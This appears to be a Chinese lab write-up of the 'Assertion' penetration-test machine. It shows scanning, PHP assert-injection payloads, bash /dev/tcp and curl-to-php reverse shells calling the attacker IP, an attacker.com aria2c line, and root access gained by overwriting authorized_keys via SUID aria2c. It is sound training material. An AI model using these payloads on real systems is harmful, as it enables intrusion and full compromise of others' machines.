本文由掌控安全学院 - 杳若 投稿
总结
getwebshell
: 发现疑似LFI
的地方 → 测试..
过滤 → 尝试断言绕过 → 远程加载反弹shell
→ getwebshell
提 权 思 路
: suid文件发现 → aria2c
远程下载ssh
私钥覆盖/root/.ssh
→ ssh
公钥登录提权
准备工作
- 启动VPN
获取攻击机IP →192.168.45.218
- 启动靶机
获取目标机器IP →192.168.151.94
信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap
--
min
-
rate
10000
-
p
-
192.168
.
151.94
PORT STATE SERVICE
22
/
tcp open ssh
80
/
tcp open http
开放的端口->22,80
目标端口对应服务探测
# tcp探测
sudo nmap
-
sT
-
sV
-
O
-
sC
-
p22
,
80
192.168
.
151.94
PORT STATE SERVICE VERSION
22
/
tcp open ssh
OpenSSH
7.6p1
Ubuntu
4ubuntu0.3
80
/
tcp open http
Apache
httpd
2.4
.
29
((
Ubuntu
))
信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1
# 搜索对应脚本
msf6
>
searchsploit
OpenSSH
7.6p1
发现搜索到可利用的和用户枚举有关(待定)
22-SSH协议支持的登录方式
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root@192
.
168.151
.
94
-
v
显示publickey
、password
就是支持密钥以及密码登录
22-SSH手动登录尝试(无)
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root@192
.
168.151
.
94
-
p
22
# 密码尝试
password
>
root
弱密码尝试失败
22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra
-
l root
-
P
/
usr
/
share
/
wordlists
/
metasploit
/
unix_passwords
.
txt
-
t
6
-
vV
192.168
.
151.94
ssh
-
s
22
挂着工具进行爆破,我们尝试后续信息收集
80-HTTP端口的信息收集
访问 http://192.168.151.94:80
像一个CMS
,尝试指纹收集开始
像是一个健身网站
信息收集-网站指纹
┌──(
root
㉿
Kali
)-[
/home/
bachang
/
Assertion101
]
└─#
whatweb http
:
//192.168.151.94:80
http
:
//192.168.151.94:80 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[[email protected]], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.151.94], JQuery[3.3.1], Script, Title[Assertion], X-UA-Compatible[ie=edge]
标题 Assertion
翻译是断言,可能会有一定帮助。(不是提示就是用户之类的)
漏洞利用-网站指纹
searchsploit
Assertion
尝试搜索,不太对劲
信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http
:
//192.168.151.94:80
很多的js
没什么信息
信息收集-目录扫描
信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch
-
u http
:
//192.168.151.94:80 -x 302,403,404
dirb http
:
//192.168.151.94:80
因为扫出了目录,深层次的扫描待选
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
信息收集-目录访问
- js文件没发现什么
- img文件夹下都是图片
- pages文件夹下很多
php
文件
打开没啥
- 其余几个php文件夹对应的都是访问不同页面
信息收集-目录扫描
信息收集-目录扫描大字典
因为没什么收获,决定上大字典
# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl
gobuster dir
-
u http
:
//192.168.151.94:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .html,.php,.zip -k > gobuster.txt
漏洞探测-nikto扫描
同时试试扫描器
nikto
-
h http
:
//192.168.151.94:80
没发现什么大问题
文章信息查看
有时候文章内部也具有一些提示滴
戳了一下about
发现目录发现变化,出现了传参
漏洞利用-getwebshell
LFI测试
看见传参我可兴奋了,首先尝试相对路径的文件读取
http
:
//192.168.151.94/index.php?page=about/../../../../etc/passwd
Not so easy brother!
没有这么简单,这是提示?还是嘲讽/(ㄒoㄒ)/
那么思路应该是正确的
尝试一下相对路径文件读取
http
:
//192.168.151.94/index.php?page=/etc/passwd
File does not exist
文件不存在说明应该相对路径?
尝试远程文件加载
http
:
//192.168.151.94/index.php?page=http://www.baidu.com
File does not exist
http
:
//192.168.151.94/index.php?page=../
http
:
//192.168.151.94/index.php?page=/../
http
:
//192.168.151.94/index.php?page=././././
http
:
//192.168.151.94/index.php?page=%2F..%2F
尝试了各种,发现的问题是好像对..
进行了过滤捏
.
好像没有url
编码
.过滤绕过
推测后端php
脚本可能存在类似正则匹配,如果存在..
则会执行
<?
php echo
"Not so easy brother!"
?>
突然想到了标题的断言,尝试推测后端代码
推测属于这种类型的代码的话,不能使用..
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md
上搜索到了相关内容
提供了一种很新颖的绕过思路
http
:
//192.168.151.94/index.php?page=' and die(show_source('/etc/passwd')) or '
没有发现账号
http
:
//192.168.151.94/index.php?page=%27%20and%20die(system(%22whoami%22))%20or%20%27
命令执行反弹shell1(失败)
# 利用linux自带的bash进行反弹
bash
-
i
>&
/
dev
/
tcp
/
192.168
.
45.218
/
4545
0
>&
1
http
:
//192.168.151.94/index.php?page=' and die(system("bash -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '
发现没有回显,进行修改
http
:
//192.168.151.94/index.php?page=' and die(system("sh -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '
命令执行反弹shell2
反弹失败之后尝试用远程加载的方法
# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp
/
usr
/
share
/
webshells
/
php
/
php
-
reverse
-
shell
.
php
./
shell
.
php
# 开启监听
sudo nc
-
lvnp
4545
反弹shell配置
# 利用grep确定修改反弹shell_ip的第49行
grep
-
n
"127.0.0.1"
shell
.
php
>
49
:
$ip
=
'127.0.0.1'
;
// CHANGE THIS
# 同理监听端口是第50行
grep
-
n
"1234"
shell
.
php
50
:
$port
=
1234
;
// CHANGE THIS
# 利用sed命令替换里面的内容
sed
-
i
'49s/127.0.0.1/192.168.45.218/'
shell
.
php
sed
-
i
'50s/1234/4545/'
shell
.
php
# 利用sed查看49与50行是否修改成功
sed
-
n
'49,50p'
shell
.
php
python3开启http服务
# 利用python开启http服务
sudo python3
-
m http
.
server
80
# 目标机器执行远程访问
http
:
//192.168.151.94/index.php?page=' and die(system("curl http://192.168.45.218:80/shell.php | php")) or '
命令执行成功
内网遨游-getshell
交互shell
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3
python
-
c
"import pty;pty.spawn('/bin/bash')"
;
FLAG1获取
www
-
data@assertion
:
/$ find /
-
name
local
.
txt
2
>
/dev/
null
/
var
/
www
/
local
.
txt
www
-
data@assertion
:
/$ cat /
var
/
www
/
local
.
txt
525385afed5f2d70bfb89f7cb77b1da3
信息收集-内网基础信息收集
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
检测Linux操作系统的发行版本
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
www
-
data@assertion
:/
$ lsb_release
-
a
No
LSB modules are available
.
Distributor
ID
:
Ubuntu
Description
:
Ubuntu
18.04
.
3
LTS
Release
:
18.04
Codename
:
bionic
发行版本为Ubuntu 18.04
,不太能overlayfs
提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛
提权
uname
-
a
Linux
assertion
4.15
.
0
-
74
-
generic
#84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
内核版本为4.15.0
检测当前用户的权限
www
-
data@assertion
:/
$ id
uid
=
33
(
www
-
data
)
gid
=
33
(
www
-
data
)
groups
=
33
(
www
-
data
)
列举出所有的sudo文件
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
www
-
data@assertion
:/
$ sudo
-
l
sudo
-
l
[
sudo
]
password
for
www
-
data
:
root
Sorry
,
try
again
.
发现需要密码
列举出所有suid文件
如果发现u=s
有东西的话 访问 https://gtfobins.github.io
寻找
# -perm 文件权限
www
-
data@assertion
:
/$ find /
-
perm
-
u
=
s
-
type f
2
>
/dev/
null
/
usr
/
lib
/
openssh
/
ssh
-
keysign
/
usr
/
lib
/
eject
/
dmcrypt
-
get
-
device
/
usr
/
lib
/
policykit
-
1
/
polkit
-
agent
-
helper
-
1
...
/
usr
/
bin
/
aria2c
/
usr
/
bin
/
chfn
/
bin
/
ping
/
bin
/
mount
/
bin
/
fusermount
/
bin
/
su
权限提升
suid-aria2c提权
发现一个aria2c
没见过
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
提权尝试一(失败)
COMMAND
=
'id'
TF
=
$
(
mktemp
)
echo
"$COMMAND"
>
$TF
chmod
+
x $TF
aria2c
--
on
-
download
-
error
=
$TF http
:
//x
尝试失败决定用第二个
提权尝试二(失败)
第二个是远程加载执行文件,需要满足16位
aria2c
--
allow
-
overwrite
--
gid
=
aaaaaaaaaaaaaaaa
--
on
-
download
-
complete
=
bash http
:
//attacker.com/aaaaaaaaaaaaaaaa
aria2c
--
allow
-
overwrite
--
gid
=
aaaaaaaaaaaaaaaa
--
on
-
download
-
complete
=
bash http
:
//192.168.45.218:80/aaaaaaaaaaaaaaaa
提权没啥用,上传了没执行
提权尝试三(覆盖root的ssh连接密钥)
尝试百度大法寻找aria2c
提权姿势
aria2c
是一个下载工具,拥有
SUID
权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。
是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh
下?
# 生成的命令
ssh
-
keygen
-
t rsa
# 选择需要生成名称
Enter
file
in
which to save the key
(
/root/
.
ssh
/
id_rsa
):
yaoruo
# 是否需要生成密码
Enter
passphrase
(
empty
for
no
passphrase
):
# 会生成一个密钥和一个公钥
yaoruo yaoruo
.
pub
# 重命名
cp yaoruo
.
pub authorized_keys
# 放到.shh
cp yaoruo
~
/.ssh/
在目标靶机上用aria2c
下载这个公钥
/usr/
bin
/
aria2c
-
d
/
root
/.
ssh
/
-
o authorized_keys
"http://192.168.45.218:80/authorized_keys"
--
allow
-
overwrite
=
true
远程连接提权成功
sudo ssh
-
i yaoruo root@192
.
168.151
.
94
FLAG2获取
root@assertion
:~#
cat
/
root
/
proof
.
txt
9b9bf7eec2d5e862a7fa151a0e1a6e0a
完结撒花~
总结
这次靶场明显比之前上升了难度,思路不是很清晰
虽然大致猜到了过滤方式,实际上去使用payload
还是有些吃力,查看了网上大神们的payload
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论